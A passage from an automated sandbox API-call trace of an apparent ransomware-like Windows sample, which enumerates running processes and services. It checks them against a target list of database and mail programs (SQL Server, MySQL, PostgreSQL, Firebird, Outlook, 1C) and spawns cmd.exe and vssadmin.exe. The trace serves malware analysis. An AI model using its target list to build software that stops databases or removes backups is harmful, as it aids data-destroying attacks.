lpString2="WPDBusEnum") returned -1 [0057.208] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0057.208] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0057.208] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55e478 | out: hHeap=0x510000) returned 1 [0057.209] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x22c [0057.211] Process32FirstW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0057.211] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0057.212] lstrlenW (lpString="System") returned 6 [0057.212] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0057.212] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0057.212] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0057.212] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0057.212] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0057.212] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0057.212] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0057.212] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0057.212] lstrlenW (lpString="smss.exe") returned 8 [0057.212] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0057.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0057.213] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0057.213] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0057.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0057.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0057.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0057.213] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.213] lstrlenW (lpString="csrss.exe") returned 9 [0057.213] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0057.213] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0057.213] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0057.213] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0057.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0057.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0057.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0057.213] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0057.214] lstrlenW (lpString="wininit.exe") returned 11 [0057.214] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0057.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0057.214] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0057.214] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0057.214] lstrlenW (lpString="csrss.exe") returned 9 [0057.214] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0057.215] lstrlenW (lpString="winlogon.exe") returned 12 [0057.215] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0057.215] lstrlenW (lpString="services.exe") returned 12 [0057.216] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0057.216] lstrlenW (lpString="lsass.exe") returned 9 [0057.216] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0057.217] lstrlenW (lpString="lsm.exe") returned 7 [0057.217] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.217] lstrlenW (lpString="svchost.exe") returned 11 [0057.217] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.217] lstrlenW (lpString="svchost.exe") returned 11 [0057.218] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.218] lstrlenW (lpString="svchost.exe") returned 11 [0057.218] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.219] lstrlenW (lpString="svchost.exe") returned 11 [0057.219] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.219] lstrlenW (lpString="svchost.exe") returned 11 [0057.219] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0057.220] lstrlenW (lpString="audiodg.exe") returned 11 [0057.220] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.220] lstrlenW (lpString="svchost.exe") returned 11 [0057.220] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.221] lstrlenW (lpString="svchost.exe") returned 11 [0057.221] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0057.221] lstrlenW (lpString="dwm.exe") returned 7 [0057.221] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0057.222] lstrlenW (lpString="explorer.exe") returned 12 [0057.222] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0057.222] lstrlenW (lpString="spoolsv.exe") returned 11 [0057.222] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.223] lstrlenW (lpString="taskhost.exe") returned 12 [0057.223] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.223] lstrlenW (lpString="svchost.exe") returned 11 [0057.223] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0057.224] lstrlenW (lpString="taskeng.exe") returned 11 [0057.224] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0057.224] lstrlenW (lpString="taskhost.exe") returned 12 [0057.224] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dear.exe")) returned 1 [0057.225] lstrlenW (lpString="dear.exe") returned 8 [0057.225] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="b costa.exe")) returned 1 [0057.225] lstrlenW (lpString="b costa.exe") returned 11 [0057.226] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc lock.exe")) returned 1 [0057.226] lstrlenW (lpString="rc lock.exe") returned 11 [0057.226] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="golden_bt_olive.exe")) returned 1 [0057.226] lstrlenW (lpString="golden_bt_olive.exe") returned 19 [0057.227] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="hugown.exe")) returned 1 [0057.227] lstrlenW (lpString="hugown.exe") returned 10 [0057.227] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bless_gear_inquiry.exe")) returned 1 [0057.227] lstrlenW (lpString="bless_gear_inquiry.exe") returned 22 [0057.228] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ted_paragraph.exe")) returned 1 [0057.228] lstrlenW (lpString="ted_paragraph.exe") returned 17 [0057.228] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="locked welsh.exe")) returned 1 [0057.229] lstrlenW (lpString="locked welsh.exe") returned 16 [0057.229] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="votejoyceinstructors.exe")) returned 1 [0057.229] lstrlenW (lpString="votejoyceinstructors.exe") returned 24 [0057.229] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lebanon_executives.exe")) returned 1 [0057.229] lstrlenW (lpString="lebanon_executives.exe") returned 22 [0057.230] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="planners.exe")) returned 1 [0057.230] lstrlenW (lpString="planners.exe") returned 12 [0057.230] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="agreements.exe")) returned 1 [0057.231] lstrlenW (lpString="agreements.exe") returned 14 [0057.231] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tray.exe")) returned 1 [0057.231] lstrlenW (lpString="tray.exe") returned 8 [0057.231] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wp std.exe")) returned 1 [0057.232] lstrlenW (lpString="wp std.exe") returned 10 [0057.232] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lesser.exe")) returned 1 [0057.232] lstrlenW (lpString="lesser.exe") returned 10 [0057.232] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-tissue.exe")) returned 1 [0057.233] lstrlenW (lpString="right-tissue.exe") returned 16 [0057.233] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bunch.exe")) returned 1 [0057.233] lstrlenW (lpString="bunch.exe") returned 9 [0057.233] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="jam.exe")) returned 1 [0057.234] lstrlenW (lpString="jam.exe") returned 7 [0057.234] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chooseincidence.exe")) returned 1 [0057.234] lstrlenW (lpString="chooseincidence.exe") returned 19 [0057.234] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="numericalrear.exe")) returned 1 [0057.235] lstrlenW (lpString="numericalrear.exe") returned 17 [0057.235] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uponpharmacologyintermediate.exe")) returned 1 [0057.235] lstrlenW (lpString="uponpharmacologyintermediate.exe") returned 32 [0057.235] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expressed-plate-fbi.exe")) returned 1 [0057.358] lstrlenW (lpString="expressed-plate-fbi.exe") returned 23 [0057.358] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="come_wave.exe")) returned 1 [0057.358] lstrlenW (lpString="come_wave.exe") returned 13 [0057.358] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0057.359] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0057.359] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0057.359] lstrlenW (lpString="uyuquk.exe") returned 10 [0057.359] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x970, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0057.360] lstrlenW (lpString="cmd.exe") returned 7 [0057.360] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0057.360] lstrlenW (lpString="conhost.exe") returned 11 [0057.360] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0057.361] lstrlenW (lpString="vssadmin.exe") returned 12 [0057.361] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0057.361] lstrlenW (lpString="VSSVC.exe") returned 9 [0057.361] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0057.362] lstrlenW (lpString="svchost.exe") returned 11 [0057.362] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0057.362] lstrlenW (lpString="LogonUI.exe") returned 11 [0057.362] Process32NextW (in: hSnapshot=0x22c, lppe=0x223fd34 | out: lppe=0x223fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0057.363] CloseHandle (hObject=0x22c) returned 1 [0057.363] Sleep (dwMilliseconds=0x1f4) [0058.177] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x566890 [0058.236] EnumServicesStatusExW (in: hSCManager=0x566890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 0 [0058.237] GetLastError () returned 0xea [0058.238] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x55e478 [0058.238] EnumServicesStatusExW (in: hSCManager=0x566890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x55e478, cbBufSize=0x12c6, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x55e478, pcbBytesNeeded=0x223ff44, lpServicesReturned=0x223ff5c, lpResumeHandle=0x0) returned 1 [0058.245] CloseServiceHandle (hSCObject=0x566890) returned 1 [0058.246] lstrlenW (lpString="Appinfo") returned 7 [0058.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0058.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0058.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0058.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0058.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0058.246] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0058.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0058.246] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0058.246] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0058.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0058.246] lstrlenW (lpString="AudioSrv") returned 8 [0058.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0058.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0058.246] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0058.247] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0058.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0058.247] lstrlenW (lpString="BFE") returned 3 [0058.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0058.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0058.247] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0058.247] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0058.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0058.247] lstrlenW (lpString="CryptSvc") returned 8 [0058.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0058.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 